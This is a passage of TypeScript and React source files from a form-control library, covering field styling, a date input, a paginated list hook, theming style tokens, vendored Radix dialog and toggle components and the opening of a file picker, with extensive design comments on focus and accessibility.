and only its ring comes and goes. It\n used to be rendered only while the field was in error, so the element\n at this position changed type whenever the error toggled, and React\n remounted the control: a host that clears an error as the user types\n took the focus and the keystroke after the first with it.\n The outline is the error colour itself, which the brand contract\n holds at 3:1 on the page and on a card; at seven tenths of it, it\n read under that bar even in the stock palette. And it is an outline,\n whose offset is a gap the surface shows through: a ring's offset is\n painted in the page colour, and inside a host's panel filled\n otherwise it drew a band of the page round the field. */}\n <div\n data-error-outline={outlined ? '' : undefined}\n className={cn('space-y-2', outlined && ERROR_OUTLINE)}\n >\n {children}\n </div>\n {error && (\n <p className=\"flex items-center gap-1 text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n )}\n </div>\n );\n}\n","/**\n * Shared control styling for the run form. One comfortable, theme-aware input\n * surface (the dedicated `--input` token, hairline border, a focus border in\n * the contract's `--ring`, as every focus the other controls draw is)\n * so every field type reads as the same family - generous enough for touch\n * (≥44px tall) and never the cramped `text-xs` of the old playground panel.\n *\n * A branding host sets `--ring` to its accent ink (`deriveBrandRoles`'s\n * `accentInk`), which reads at 4.5:1 against the page it was derived for, so\n * the border reads at 3:1 or more against that page. See docs/theming.md\n * § \"Link, selected and focus\".\n */\nimport { cn } from './utils';\n\nexport const fieldControlClass = cn(\n 'w-full rounded-md border border-border bg-input text-sm text-foreground',\n 'placeholder:text-muted-foreground/70 transition-colors',\n 'focus-visible:outline-hidden focus-visible:ring-1',\n 'focus-visible:border-ring focus-visible:ring-ring/40',\n 'disabled:cursor-not-allowed disabled:opacity-50',\n 'aria-invalid:border-destructive aria-invalid:ring-destructive/30',\n);\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { cn } from './utils';\nimport type { DateRunField } from '../core';\nimport { toDateInputValue, toStoredDateValue } from '../core/date-format';\nimport { FieldShell } from './field-shell';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface DateFieldProps {\n field: DateRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * A calendar-date input. The control only asks for a day (no hand-typed\n * hours/seconds); for a `date-time` concept it stores midnight-UTC so the value\n * still satisfies the API's `date-time` format.\n */\nexport function DateField({ field, value, onChange, id, error, disabled }: DateFieldProps) {\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"date\"\n description={field.description}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={domId}\n >\n <input\n id={domId}\n type=\"date\"\n value={toDateInputValue(value)}\n disabled={disabled}\n aria-invalid={!!error}\n onChange={(e) => onChange(toStoredDateValue(e.target.value, field.datetime))}\n className={cn(fieldControlClass, 'h-11 px-3 font-mono tabular-nums')}\n />\n </FieldShell>\n );\n}\n","import { DOCUMENT_FORMATS, IMAGE_FORMATS } from '../core/file-formats';\nimport { readDataUrl } from '../core/native-content';\nimport type { FieldStrings } from './field-strings';\n\n/**\n * The line that names a file carried inside its own `data:` URL — `PDF · 36 KB`\n * — or `undefined` for a URL that only points at a file.\n *\n * Shared by the input control's chip and the result view's file reference,\n * because both used to print the URL itself: a host that encodes a picked file\n * in the browser (rather than uploading it first) puts the whole file there, and\n * the row's subtitle became `data:application/pdf;base64,JVBERi0xLjQK…`. A\n * reference that points somewhere is still worth printing; one that IS the\n * bytes is not.\n *\n * The format is named the way a dropzone's hint names it (`PDF`, `PNG`) when it\n * is one this package accepts, and by its media type otherwise.\n */\nexport function encodedFileSummary(url: string, strings: FieldStrings): string | undefined {\n const view = readDataUrl(url);\n if (!view) return undefined;\n const format =\n [...DOCUMENT_FORMATS, ...IMAGE_FORMATS].find((known) => known.mimeType === view.mediaType)\n ?.label ?? view.mediaType;\n return strings.encodedFileSummary(format, view.bytes);\n}\n","'use client';\n\nimport { useCallback, useEffect, useRef, useState, type ReactNode } from 'react';\nimport { Loader2 } from 'lucide-react';\nimport { useFieldStrings } from './field-strings';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\n/*\n * What the file picker and the examples list share: a host's list read one\n * page at a time, and the rows and lines that say where that read stands.\n * Internal to the control set; the seams' shapes are the core's (`./sources`).\n */\n\n/** One page of a host's list, in the shape both seams answer with. */\nexport interface SourcePage<T> {\n items: readonly T[];\n nextCursor?: string | null;\n}\n\n/** Asks the host for one page: from the start when `cursor` is absent. */\nexport type LoadSourcePage<T> = (\n cursor: string | undefined,\n signal: AbortSignal,\n) => Promise<SourcePage<T>>;\n\n/** Where a host's list stands, and the two things a person can do about it. */\nexport interface SourcePages<T> {\n /**\n * The first read: `idle` before it is asked for, `loading` until its rows\n * arrive, `ready` once they have (an empty list is ready only once its cursor\n * has ended), `failed` when the host refused.\n */\n status: 'idle' | 'loading' | 'ready' | 'failed';\n /** Every row read so far, in the host's order. */\n items: T[];\n /** Whether the host has said there is more to read. */\n hasMore: boolean;\n /**\n * Whether the list is known to hold nothing: read to its end with no row\n * left. Rows a delete took away do not make a list empty while the host has\n * more to read, which is read at once instead.\n */\n empty: boolean;\n /** The read of the next page: `failed` keeps the rows shown and offers Try again. */\n more: 'idle' | 'loading' | 'failed';\n /** Reads the next page. Does nothing while one is being read or none is left. */\n loadMore: () => void;\n /** Reads again whatever failed: the first page, or the next one. */\n retry: () => void;\n /** Changes the rows already read (a rename, a delete), keeping where the list stands. */\n updateItems: (update: (items: T[]) => T[]) => void;\n}\n\ninterface PagesState<T> {\n /** The key this state was read for. */\n key: string | null;\n status: SourcePages<T>['status'];\n items: T[];\n cursor: string | null;\n more: SourcePages<T>['more'];\n}\n\n/** Where a list stands before its first page for `key` has arrived. */\nfunction startFor(key: string | null): PagesState<never> {\n return { key, status: key === null ? 'idle' : 'loading', items: [], cursor: null, more: 'idle' };\n}\n\n/**\n * A host's list read one page at a time, restarted whenever `key` changes and\n * left alone while it is `null`.\n *\n * **An empty page with a cursor is followed by itself.** A host that filters\n * after reading, as a search over stored records does, can answer an empty\n * page that is not the end; showing \"No files match\" over it would say\n * something false, and a Show more under no rows asks the person to do the\n * list's work. So an empty page that carries a cursor is followed at once,\n * and an empty list is reported only once its cursor has ended. The same\n * holds when the person empties the rows read so far, by deleting them: the\n * next page is read at once rather than \"nothing\" said over a list that has\n * more. A cursor the list has already read from ends it, so a host whose\n * cursors go round in a circle cannot keep the list asking forever.\n *\n * A new key is a new list from the render that names it: the rows read for the\n * old key are never reported under the new one, not even for the frame before\n * the new read starts.\n *\n * A newer key, a retry and an unmount each abort the read in flight, through\n * the signal the host was handed, and its answer is dropped if it lands anyway.\n * `load` is read when a read starts, so a host may pass a new function on every\n * render without restarting the list.\n */\nexport function useSourcePages<T>(load: LoadSourcePage<T>, key: string | null): SourcePages<T> {\n const [stored, setState] = useState<PagesState<T>>(() => startFor(key));\n if (stored.key !== key) setState(startFor(key));\n const state: PagesState<T> = stored.key === key ? stored : startFor(key);\n const loadRef = useRef(load);\n const inFlight = useRef<AbortController | null>(null);\n // The cursors this list has read from since its first page. Taken over from\n // a read only once it succeeds, so a failed read leaves nothing behind that\n // would stop its retry.\n const followed = useRef<ReadonlySet<string>>(new Set());\n\n useEffect(() => {\n loadRef.current = load;\n });\n\n const read = useCallback(\n (forKey: string | null, cursor: string | undefined, phase: 'first' | 'more') => {\n inFlight.current?.abort();\n const controller = new AbortController();\n inFlight.current = controller;\n const seen = new Set(phase === 'first' ? [] : followed.current);\n const follow = (from: string | undefined) => {\n if (from !== undefined) seen.add(from);\n let page: Promise<SourcePage<T>>;\n try {\n page = Promise.resolve(loadRef.current(from, controller.signal));\n } catch (error) {\n page = Promise.reject(error);\n }\n page.then(\n (answer) => {\n if (inFlight.current !== controller) return;\n // Only an absent cursor ends the list: an empty string is a cursor\n // like any other, and a host may page with one.\n const offered = answer.nextCursor ?? null;\n const next = offered !== null && seen.has(offered) ? null : offered;\n const items = [...answer.items];\n if (items.length === 0 && next !== null) {\n follow(next);\n return;\n }\n inFlight.current = null;\n followed.current = seen;\n // Dropped when the list has moved to another key since the read\n // started, which can land before the effect that aborts it runs.\n setState((previous) =>\n previous.key !== forKey\n ? previous\n : {\n key: forKey,\n status: 'ready',\n items: phase === 'first' ? items : [...previous.items, ...items],\n cursor: next,\n more: 'idle',\n },\n );\n },\n () => {\n if (inFlight.current !== controller) return;\n inFlight.current = null;\n setState((previous) =>\n previous.key !== forKey\n ? previous\n : phase === 'first'\n ? { key: forKey, status: 'failed', items: [], cursor: null, more: 'idle' }\n : { ...previous, more: 'failed' },\n );\n },\n );\n };\n follow(cursor);\n },\n [],\n );\n\n useEffect(() => {\n if (key === null) {\n inFlight.current?.abort();\n inFlight.current = null;\n return;\n }\n read(key, undefined, 'first');\n }, [key, read]);\n\n useEffect(\n () => () => {\n inFlight.current?.abort();\n inFlight.current = null;\n },\n [],\n );\n\n const loadMore = useCallback(() => {\n if (state.status !== 'ready' || state.cursor === null || state.more === 'loading') return;\n setState((previous) => ({ ...previous, more: 'loading' }));\n read(state.key, state.cursor, 'more');\n }, [state.key, state.status, state.cursor, state.more, read]);\n\n const retry = useCallback(() => {\n if (state.status === 'failed') {\n setState((previous) => startFor(previous.key));\n read(state.key, undefined, 'first');\n } else if (state.more === 'failed') {\n loadMore();\n }\n }, [state.key, state.status, state.more, read, loadMore]);\n\n const updateItems = useCallback((update: (items: T[]) => T[]) => {\n setState((previous) => ({ ...previous, items: update(previous.items) }));\n }, []);\n\n // Rows taken away down to none, with more to read: read it rather than say\n // the list is empty, or leave Show more under nothing.\n const drained =\n state.status === 'ready' &&\n state.items.length === 0 &&\n state.cursor !== null &&\n state.more === 'idle';\n useEffect(() => {\n if (drained) loadMore();\n }, [drained, loadMore]);\n\n return {\n status: state.status,\n items: state.items,\n hasMore: state.cursor !== null,\n empty: state.status === 'ready' && state.items.length === 0 && state.cursor === null,\n more: state.more,\n loadMore,\n retry,\n updateItems,\n };\n}\n\n/**\n * Whether what a host's renderer returned for a row draws nothing, by React's\n * own rule: React renders nothing for `null`, `undefined`, a boolean or an\n * empty string, nor for an array of nothing but those, an empty one or a\n * nested one included, which is what a host's `.map()` over an empty or\n * filtered list returns. A row given one keeps what it draws without it (a\n * file's outline, an example's one line) rather than an empty slot. A number,\n * `0` included, is not here, because React renders it as text, and drawing\n * what React draws keeps a host's rendering meaning in the row what it means\n * anywhere.\n */\nexport function drawsNothing(drawn: ReactNode): boolean {\n if (Array.isArray(drawn)) return drawn.every((item: ReactNode) => drawsNothing(item));\n return drawn === null || drawn === undefined || typeof drawn === 'boolean' || drawn === '';\n}\n\n/**\n * The rows of a list still being read: static and dim, with no pulse, so a\n * wait is not drawn as motion. Hidden from assistive technology, which hears\n * the wait from the list's status line instead.\n */\nexport function DimRows({ count = 4 }: { count?: number }) {\n return (\n <div aria-hidden=\"true\" data-dim-rows className=\"divide-y divide-border\">\n {Array.from({ length: count }, (_, index) => (\n <div key={index} className=\"flex min-h-16 items-center gap-3 px-4 py-3 opacity-60\">\n <span className=\"size-8 shrink-0 rounded-md bg-muted\" />\n <span className=\"flex min-w-0 flex-1 flex-col gap-2\">\n <span className=\"h-3.5 w-2/5 rounded-sm bg-muted\" />\n <span className=\"h-3 w-3/5 rounded-sm bg-muted\" />\n </span>\n </div>\n ))}\n </div>\n );\n}\n\n/** A secondary button inside a list's sheet: Try again, Clear search, Show more. */\nexport function ListAction({\n onClick,\n children,\n className,\n}: {\n onClick: () => void;\n children: ReactNode;\n className?: string;\n}) {\n return (\n <button\n type=\"button\"\n onClick={onClick}\n className={cn(\n 'inline-flex min-h-11 items-center justify-center rounded-md border border-border px-4 text-[14px] text-foreground transition-colors hover:bg-muted sm:min-h-9',\n focusOutlineClass,\n className,\n )}\n >\n {children}\n </button>\n );\n}\n\n/**\n * What a list says in place of its rows: the reason there are none, and the\n * one or two things that can be done about it.\n */\nexport function ListMessage({ text, children }: { text: string; children?: ReactNode }) {\n return (\n <div className=\"flex flex-col items-center gap-3 px-4 py-10 text-center\">\n <p className=\"text-[14px] text-foreground\">{text}</p>\n {children && <div className=\"flex flex-wrap justify-center gap-2\">{children}</div>}\n </div>\n );\n}\n\n/** Under the rows read so far: Show more, the wait for it, or its failure with Try again. */\nexport function MoreFooter<T>({ pages }: { pages: SourcePages<T> }) {\n const s = useFieldStrings();\n if (pages.more === 'failed') {\n return (\n <div className=\"flex flex-wrap items-center justify-center gap-3 px-4 py-4\">\n <p className=\"text-[13px] text-muted-foreground\">{s.loadMoreFailed}</p>\n <ListAction onClick={pages.retry}>{s.tryAgain}</ListAction>\n </div>\n );\n }\n if (pages.more === 'loading') {\n return (\n <p className=\"flex items-center justify-center gap-2 px-4 py-4 text-[13px] text-muted-foreground\">\n <Loader2 className=\"size-4 animate-spin\" aria-hidden=\"true\" />\n {s.loadingMore}\n </p>\n );\n }\n if (!pages.hasMore) return null;\n return (\n <div className=\"flex justify-center px-4 py-4\">\n <ListAction onClick={pages.loadMore}>{s.showMore}</ListAction>\n </div>\n );\n}\n","/**\n * The classes every heading, panel and call to action the controls and the\n * generative layer draw read a page's style through: the optional tokens a\n * host sets from the roles `./brand`'s `deriveStyleRoles` returns.\n *\n * - `--font-heading`, `--heading-weight` and `--heading-tracking`: the face,\n * the weight and the letter spacing of a heading - a page's title, a\n * section's, a panel's, a dialog's, a heading in a typeset result. A\n * structure's name over its fields takes the face alone: it labels a group\n * rather than titling the page, so it keeps the kernel's weight. An\n * uppercase eyebrow is not a title and reads none.\n * - `--panel-fill`, `--panel-edge`, `--panel-edge-width` and `--panel-shadow`:\n * a panel the generative layer draws on the page, its rail and its card,\n * each marked `data-style-panel` so a host can write the style's field fill\n * onto `--input` inside it, as on its own panel. A group inside a panel is\n * not a panel and reads none.\n * - `--action-shadow`: a designed page's call to action.\n *\n * Each read carries the value the element painted before it read the token,\n * so a host that sets none renders exactly as it always did: a heading keeps\n * its face, its own weight and its own tracking; the rail keeps\n * its large shadow and the card none; the call to action keeps its glow in\n * the button colour. `theme.css` defines none of them, since a value there\n * would win over the fallback for every host loading it, and\n * `make assert-bundle` holds each read to its fallback. See docs/theming.md\n * § \"Style tokens\".\n *\n * They are arbitrary properties, written out whole, for the reason\n * `./role-tokens` gives: a host's Tailwind build compiles the package's\n * classes against its own theme, and finds a class only by reading it whole\n * in source. A token read around the `@theme inline` mapping spells\n * `theme.css`'s light value as its innermost fallback.\n */\n\n/**\n * A heading's face: the style's heading face, or whatever the heading wore\n * before. `revert-layer` rolls the property back past the utilities layer,\n * so a host's own stylesheet for its headings, in an earlier layer, still\n * applies, and a heading no rule sets inherits its face, as it did. It rolls\n * back any other utility setting the same property on that element too, so a\n * heading that reads it is given no other face or tracking utility.\n */\nexport const headingFaceClass = '[font-family:var(--font-heading,revert-layer)]';\n\n/** A heading's letter spacing: the style's, or whatever it wore before (see `headingFaceClass`). */\nexport const headingTrackingClass = '[letter-spacing:var(--heading-tracking,revert-layer)]';\n\n/** A heading's letter spacing: the style's, or Tailwind's `tracking-tight` it was set in. */\nexport const headingTrackingTightClass = '[letter-spacing:var(--heading-tracking,-0.025em)]';\n\n/** A heading's weight: the style's, or the weight it was set in. */\nexport const headingWeightClass = {\n 500: '[font-weight:var(--heading-weight,500)]',\n 600: '[font-weight:var(--heading-weight,600)]',\n 700: '[font-weight:var(--heading-weight,700)]',\n} as const;\n\n/**\n * A heading in the style: its face, its weight (falling back to `weight`) and\n * its tracking (falling back to `tracking-tight` when `tight`, else to what it\n * wore before). The size and the leading stay the element's own.\n */\nexport function headingClass(weight: keyof typeof headingWeightClass, tight = false): string {\n return [\n headingFaceClass,\n headingWeightClass[weight],\n tight ? headingTrackingTightClass : headingTrackingClass,\n ].join(' ');\n}\n\n/**\n * A panel's surface in the style: its fill, its edge and the edge's width,\n * falling back to the card on a hairline it was drawn as.\n */\nexport const panelSurfaceClass =\n '[border-style:solid] [border-width:var(--panel-edge-width,1px)] [border-color:var(--panel-edge,var(--border,hsl(240_5.9%_90%)))] [background-color:var(--panel-fill,var(--card,hsl(0_0%_100%)))]';\n\n/** A panel that floated on a large shadow (`shadow-xl`): the style's shadow, or that one. */\nexport const panelRaisedShadowClass =\n '[box-shadow:var(--panel-shadow,0_20px_25px_-5px_rgb(0_0_0/0.1),0_8px_10px_-6px_rgb(0_0_0/0.1))]';\n\n/** A panel that had no shadow: the style's shadow, or none. */\nexport const panelFlatShadowClass = '[box-shadow:var(--panel-shadow,none)]';\n\n/**\n * The call to action's shadow: the style's, or the glow in the button colour\n * it had, stronger under the pointer. Focus is never drawn as a box-shadow\n * beside it: this class would replace a `focus-visible:` ring, so a style's\n * shadow would hide where focus is. The call to action wears\n * `focusOutlineClass` instead, an outline no shadow touches.\n */\nexport const actionShadowClass =\n '[box-shadow:var(--action-shadow,0_0_28px_color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_35%,transparent))] hover:[box-shadow:var(--action-shadow,0_0_44px_color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_50%,transparent))]';\n","'use client';\n\nimport * as React from 'react';\nimport * as DialogPrimitive from '@radix-ui/react-dialog';\n\nimport { headingClass } from '../style-tokens';\nimport { cn } from '../utils';\n\n/*\n * The vendored dialog, over `@radix-ui/react-dialog`, which is the behaviour:\n * the focus trap, Escape, the rest of the page hidden from assistive\n * technology and its scroll held.\n *\n * Focus going back on close is the one part that needs a hand. Radix returns it\n * to the dialog's own `Trigger` and to nothing else, and none of the surfaces\n * here is opened by one: a sheet opens from a row in a field, a question from\n * a row in a list. So a panel takes `returnFocus`, which names the element at\n * the moment it closes, since the element that opened it may be gone by then\n * (the row a choice replaced, the example a delete removed).\n *\n * Drawn in place rather than in a portal, as the file-name dialog is, so it\n * reads the theme and brand tokens of the scope the control sits in; its\n * overlay and panel are `fixed` over the viewport. The panel is centred by\n * `inset: 0` and `margin: auto` rather than by a transform, because a\n * transform would make it the containing block of every `fixed` element drawn\n * inside it, a menu's popper among them. Every button inside is\n * `type=\"button\"`, because a form may sit inside a host's `<form>`.\n */\n\nconst Dialog = DialogPrimitive.Root;\nconst DialogClose = DialogPrimitive.Close;\n\n/** Names where focus goes as a panel closes; nothing leaves it to Radix. */\nexport type ReturnFocus = () => HTMLElement | null | undefined;\n\n/**\n * A panel's `onCloseAutoFocus`: the caller's own handler first, which may send\n * focus elsewhere by calling `preventDefault()`, then `returnFocus`'s element\n * when it is still in the document.\n */\nexport function closeAutoFocus(\n onCloseAutoFocus: ((event: Event) => void) | undefined,\n returnFocus: ReturnFocus | undefined,\n): (event: Event) => void {\n return (event) => {\n onCloseAutoFocus?.(event);\n if (event.defaultPrevented || !returnFocus) return;\n const target = returnFocus();\n if (!target?.isConnected) return;\n event.preventDefault();\n target.focus();\n };\n}\n\nconst keepPress = (event: React.MouseEvent) => event.stopPropagation();\n\n/**\n * Holds a dialog's backdrop and its panel, and keeps every press on either to\n * the dialog. React events follow the component tree, through a portal and\n * past every box, so a click in a dialog otherwise reaches the components the\n * dialog is drawn inside: a host's clickable card around a result, a row that\n * opens.\n *\n * The guard sits on the element holding both rather than on the backdrop,\n * because a press that begins on one and ends on the other, a text selection\n * dragged out of the panel and released over the backdrop, fires its `click`\n * on the nearest element containing both, which is neither. Its handlers run\n * after every handler inside the dialog, so those all still run. It is\n * `display: contents` and both its children are `fixed`, so it draws no box\n * and moves nothing in the host's layout.\n *\n * Radix dismisses on `pointerdown`, which it hears on the document, so that\n * event is left to bubble: stopping it would keep the dialog open.\n */\nexport function DialogSurface({ children }: { children: React.ReactNode }) {\n return (\n <div className=\"contents\" onClick={keepPress} onMouseDown={keepPress}>\n {children}\n </div>\n );\n}\n\nconst DialogOverlay = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Overlay\n ref={ref}\n className={cn('fixed inset-0 z-50 bg-black/50', className)}\n {...props}\n />\n));\nDialogOverlay.displayName = DialogPrimitive.Overlay.displayName;\n\n/**\n * The panel and its overlay. `layout=\"sheet\"` is the picker's: a bottom sheet\n * at nearly the viewport's full height below 1280px, and a dialog at most\n * 560px wide from 1280px, one tree laid out by CSS alone. `layout=\"dialog\"` is\n * a small centred dialog at every width.\n */\nconst DialogContent = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content> & {\n layout?: 'sheet' | 'dialog';\n /** Where focus goes when the panel closes. See `closeAutoFocus`. */\n returnFocus?: ReturnFocus;\n }\n>(({ className, layout = 'dialog', returnFocus, onCloseAutoFocus, children, ...props }, ref) => (\n <DialogSurface>\n <DialogOverlay />\n <DialogPrimitive.Content\n ref={ref}\n className={cn(\n 'fixed z-50 flex flex-col border-border bg-popover text-popover-foreground shadow-lg outline-hidden',\n layout === 'sheet'\n ? [\n 'inset-x-0 top-6 bottom-0 rounded-t-xl border-t',\n 'xl:inset-0 xl:m-auto xl:h-fit xl:max-h-[min(720px,calc(100dvh-4rem))] xl:w-[calc(100%-2rem)] xl:max-w-[560px] xl:rounded-xl xl:border',\n ]\n : 'inset-0 m-auto h-fit w-[calc(100%-2rem)] max-w-sm gap-3 rounded-lg border p-4',\n className,\n )}\n onCloseAutoFocus={closeAutoFocus(onCloseAutoFocus, returnFocus)}\n {...props}\n >\n {children}\n </DialogPrimitive.Content>\n </DialogSurface>\n));\nDialogContent.displayName = DialogPrimitive.Content.displayName;\n\nconst DialogTitle = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Title\n ref={ref}\n className={cn('text-[16px] text-foreground', headingClass(600), className)}\n {...props}\n />\n));\nDialogTitle.displayName = DialogPrimitive.Title.displayName;\n\nconst DialogDescription = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Description\n ref={ref}\n className={cn('text-[13px] text-muted-foreground', className)}\n {...props}\n />\n));\nDialogDescription.displayName = DialogPrimitive.Description.displayName;\n\nexport { Dialog, DialogClose, DialogContent, DialogDescription, DialogTitle };\n","'use client';\n\nimport * as React from 'react';\nimport * as TogglePrimitive from '@radix-ui/react-toggle';\nimport { cva, type VariantProps } from 'class-variance-authority';\n\nimport { focusOutlineClass, selectedStateFillClass } from '../role-tokens';\nimport { cn } from '../utils';\n\n/**\n * Adapted from the registry in two colours. A pressed toggle takes the kernel's\n * one selected state, the pale accent fill (`--selected`) under `--foreground`\n * text, as an enum pill does, rather than `--accent`, which is shadcn's neutral\n * hover fill. And the outline variant draws the fields' hairline `--border`,\n * since `--input` is a field's fill and never a border.\n */\nconst toggleVariants = cva(\n [\n 'inline-flex items-center justify-center rounded-md text-sm font-medium transition-colors hover:bg-muted hover:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=on]:text-foreground [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 gap-2',\n focusOutlineClass,\n selectedStateFillClass,\n ],\n {\n variants: {\n variant: {\n default: 'bg-transparent',\n outline: 'border border-border bg-transparent hover:bg-accent hover:text-accent-foreground',\n },\n size: {\n default: 'h-10 px-3 min-w-10',\n sm: 'h-9 px-2.5 min-w-9',\n lg: 'h-11 px-5 min-w-11',\n },\n },\n defaultVariants: {\n variant: 'default',\n size: 'default',\n },\n },\n);\n\nconst Toggle = React.forwardRef<\n React.ElementRef<typeof TogglePrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof TogglePrimitive.Root> & VariantProps<typeof toggleVariants>\n>(({ className, variant, size, ...props }, ref) => (\n <TogglePrimitive.Root\n ref={ref}\n className={cn(toggleVariants({ variant, size, className }))}\n {...props}\n />\n));\n\nToggle.displayName = TogglePrimitive.Root.displayName;\n\nexport { Toggle, toggleVariants };\n","import * as React from 'react';\nimport * as ToggleGroupPrimitive from '@radix-ui/react-toggle-group';\nimport { type VariantProps } from 'class-variance-authority';\n\nimport { cn } from '../utils';\nimport { toggleVariants } from './toggle';\n\nconst ToggleGroupContext = React.createContext<VariantProps<typeof toggleVariants>>({\n size: 'default',\n variant: 'default',\n});\n\nconst ToggleGroup = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, children, ...props }, ref) => (\n <ToggleGroupPrimitive.Root\n ref={ref}\n className={cn('flex items-center justify-center gap-1', className)}\n {...props}\n >\n <ToggleGroupContext.Provider value={{ variant, size }}>{children}</ToggleGroupContext.Provider>\n </ToggleGroupPrimitive.Root>\n));\n\nToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName;\n\nconst ToggleGroupItem = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &\n VariantProps<typeof toggleVariants>\n>(({ className, children, variant, size, ...props }, ref) => {\n const context = React.useContext(ToggleGroupContext);\n\n return (\n <ToggleGroupPrimitive.Item\n ref={ref}\n className={cn(\n toggleVariants({\n variant: context.variant || variant,\n size: context.size || size,\n }),\n className,\n )}\n {...props}\n >\n {children}\n </ToggleGroupPrimitive.Item>\n );\n});\n\nToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName;\n\nexport { ToggleGroup, ToggleGroupItem };\n","'use client';\n\nimport {\n useEffect,\n useId,\n useLayoutEffect,\n useMemo,\n useRef,\n useState,\n type PointerEvent,\n type ReactNode,\n type Ref,\n type RefObject,\n} from 'react';\nimport { Check, FileText, Folder, ImageIcon, Search, X } from 'lucide-react';\nimport type {\n FileSource,\n FileSourcePage,\n FileSourceQuery,\n FileSourceScope,\n SourceFile,\n} from '../core';\n// Value imports come from the specific module, never the `../core` barrel - the\n// barrel reaches the gate and the gate reaches ajv. See docs/dependency-budget.md.\nimport { formatOfFilename, normalizeMimeType, type FileFormat } from '../core/file-formats';\nimport { chosenFilesAdded } from '../core/sources';\nimport { useFieldStrings, type FieldStrings } from './field-strings';\nimport { focusOutlineClass, focusOutlineInsetClass, selectedCheckedFillClass } from './role-tokens';\nimport {\n DimRows,\n drawsNothing,\n ListAction,\n ListMessage,\n MoreFooter,\n useSourcePages,\n type LoadSourcePage,\n type SourcePages,\n} from './source-list';\nimport { Dialog, DialogClose, DialogContent, DialogDescription, DialogTitle } from './ui/dialog';\nimport { ToggleGroup, ToggleGroupItem } from './ui/toggle-group';\nimport { cn } from './utils';\n\n/*\n * The file source's controls: the row under a file field that opens the\n * team's files, and the sheet it opens. The sheet lists a host's files one page\n * at a time, narrowed to the field's formats, and hands back what the person\n * chose; the field writes it, exactly as it writes an upload. See\n * docs/sources.md.\n */\n\n/** How long typing in the search waits before the list is asked again. */\nconst SEARCH_PAUSE_MS = 250;\n\n/** How far down a bottom sheet is dragged before letting go closes it. */\nconst SWIPE_CLOSE_PX = 96;\n\n/**\n * A file source as the control set takes it: the kernel's `FileSource`, which\n * lists the files, and how a row draws, which only a renderer can say. Every\n * `FileSource` is one, so a host that draws nothing passes its source as it is.\n *\n * `F` is the host's own row: a host may carry its own fields on the rows its\n * `list` answers with (the format key its glyphs are chosen by, for instance)\n * and read them back in `renderGlyph`, which receives each row exactly as\n * `list` returned it. A source typed over its own row is accepted wherever a\n * `FilePickerSource` is, because `renderGlyph` is declared as a method, whose\n * parameter TypeScript compares both ways. Declared as a function-typed\n * property it would be compared strictly, and a host's typed source would\n * stop being accepted by `useMethodForm`, `FieldEnv` and `FilePicker`.\n */\nexport interface FilePickerSource<F extends SourceFile = SourceFile> extends FileSource {\n list: (query: FileSourceQuery) => Promise<FileSourcePage & { files: readonly F[] }>;\n /**\n * Draws a row's glyph in place of the kernel's own, a 24px document or\n * picture outline. What it returns sits at the row's start at its own size\n * (the row is at least 64px tall and grows with a larger glyph), and is\n * hidden from assistive technology, since the row's second line says the\n * type. A row it returns what React renders nothing for keeps the kernel's\n * glyph: `null`, `undefined`, `true`, `false` or `''`, or an array of\n * nothing but those, an empty one included, so a `cond && <Tile />` whose\n * condition is false, or a `.map()` over nothing, falls back as it reads. A\n * number is drawn, `0` included, because React draws it as text, so a\n * condition that is a count is the host's to turn into a boolean.\n */\n renderGlyph?(file: F): ReactNode;\n}\n\nexport interface FilePickerEntryProps {\n /** Opens the sheet. */\n onOpen: () => void;\n /** The field's label as the form shows it, which names the row for assistive technology. */\n label: string;\n disabled?: boolean;\n /** The row's button, which the sheet hands focus back to (`FilePicker`'s `returnFocusTo`). */\n ref?: Ref<HTMLButtonElement>;\n /** The button's id, for a field whose label names this row, when it is the field's only way in. */\n id?: string;\n}\n\n/**\n * \"Choose from your team's files\": a full-width row with a folder icon, under\n * the field's own controls.\n */\nexport function FilePickerEntry({ onOpen, label, disabled, ref, id }: FilePickerEntryProps) {\n const s = useFieldStrings();\n return (\n <button\n ref={ref}\n id={id}\n type=\"button\"\n onClick={onOpen}\n disabled={disabled}\n aria-haspopup=\"dialog\"\n aria-label={s.chooseFromSourceAria(label)}\n className={cn(\n 'flex min-h-11 w-full items-center justify-center gap-2 rounded-md border border-border px-3 text-[14px] text-foreground transition-colors hover:bg-muted disabled:cursor-not-allowed disabled:opacity-50 sm:min-h-9',\n focusOutlineClass,\n )}\n >\n <Folder className=\"size-4 shrink-0 text-muted-foreground\" aria-hidden=\"true\" />\n {s.chooseFromSource}\n </button>\n );\n}\n\nexport interface FilePickerProps {\n /** The host's list, and how its rows draw. */\n source: FilePickerSource;\n /** What the field accepts: the list is 